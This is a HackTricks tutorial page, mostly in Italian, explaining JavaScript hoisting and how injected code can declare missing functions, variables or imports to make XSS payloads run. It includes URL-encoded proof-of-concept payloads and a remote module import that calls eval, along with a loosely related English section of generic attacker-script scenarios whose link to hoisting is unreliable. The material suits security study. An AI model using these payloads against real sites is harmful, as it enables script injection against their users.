JS Hoisting

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Nel linguaggio JavaScript, è descritto un meccanismo noto come Hoisting in cui le dichiarazioni di variabili, funzioni, classi o importazioni vengono concettualmente spostate in cima al loro ambito prima dell'esecuzione del codice. Questo processo viene eseguito automaticamente dal motore JavaScript, che attraversa lo script in più passaggi.

Durante il primo passaggio, il motore analizza il codice per verificare la presenza di errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include l'hoisting, un processo in cui alcune dichiarazioni vengono spostate in cima al contesto di esecuzione. Se la fase di analisi ha successo, indicando l'assenza di errori di sintassi, l'esecuzione dello script procede.

È fondamentale comprendere che:

  1. Lo script deve essere privo di errori di sintassi affinché si verifichi l'esecuzione. Le regole di sintassi devono essere rigorosamente seguite.

  2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa dell'hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale.

Tipi di Hoisting

Sulla base delle informazioni da MDN, esistono quattro tipi distinti di hoisting in JavaScript:

  1. Value Hoisting: Consente l'utilizzo del valore di una variabile all'interno del suo ambito prima della sua linea di dichiarazione.

  2. Declaration Hoisting: Consente di fare riferimento a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un ReferenceError, ma il valore della variabile sarà undefined.

  3. Questo tipo modifica il comportamento all'interno del suo ambito a causa della dichiarazione della variabile prima della sua effettiva linea di dichiarazione.

  4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice contenente essa venga valutato.

Nel dettaglio, le dichiarazioni di funzioni mostrano il comportamento del tipo 1 di hoisting. La parola chiave var dimostra il comportamento del tipo 2. Le dichiarazioni lessicali, che includono let, const e class, mostrano il comportamento del tipo 3. Infine, le istruzioni import sono uniche nel senso che vengono sollevate con entrambi i comportamenti del tipo 1 e del tipo 4.

Scenari

Pertanto, se hai scenari in cui puoi Iniettare codice JS dopo l'uso di un oggetto non dichiarato, potresti correggere la sintassi dichiarandolo (in modo che il tuo codice venga eseguito anziché generare un errore):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Altri scenari

In addition to the scenarios mentioned earlier, there are a few more scenarios where JavaScript hoisting can be exploited for cross-site scripting (XSS) attacks. Let's take a look at them:

Scenario 1: Function Declarations

In this scenario, an attacker can use JavaScript hoisting to execute a malicious function declaration. By injecting a script that contains a function declaration, the attacker can manipulate the execution flow of the vulnerable web application.

<script>
  // Attacker's script
  function maliciousFunction() {
    // Malicious code here
  }
</script>

Scenario 2: Variable Declarations

Similar to function declarations, an attacker can also exploit JavaScript hoisting to execute a malicious variable declaration. By injecting a script that contains a variable declaration, the attacker can control the value of the variable and potentially manipulate the behavior of the web application.

<script>
  // Attacker's script
  var maliciousVariable = "Malicious value";
</script>

Scenario 3: Event Handlers

In this scenario, an attacker can leverage JavaScript hoisting to manipulate event handlers. By injecting a script that modifies an event handler, the attacker can execute arbitrary code when the event is triggered.

<script>
  // Attacker's script
  document.getElementById("submitButton").onclick = function() {
    // Malicious code here
  };
</script>

Scenario 4: Object Properties

JavaScript hoisting can also be used to manipulate object properties. By injecting a script that modifies an object property, the attacker can change the behavior of the web application.

<script>
  // Attacker's script
  var targetObject = {
    // Original object properties
  };

  targetObject.maliciousProperty = "Malicious value";
</script>

These additional scenarios demonstrate the versatility of JavaScript hoisting in XSS attacks. It is important for web developers to be aware of these vulnerabilities and implement proper security measures to prevent such attacks.

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated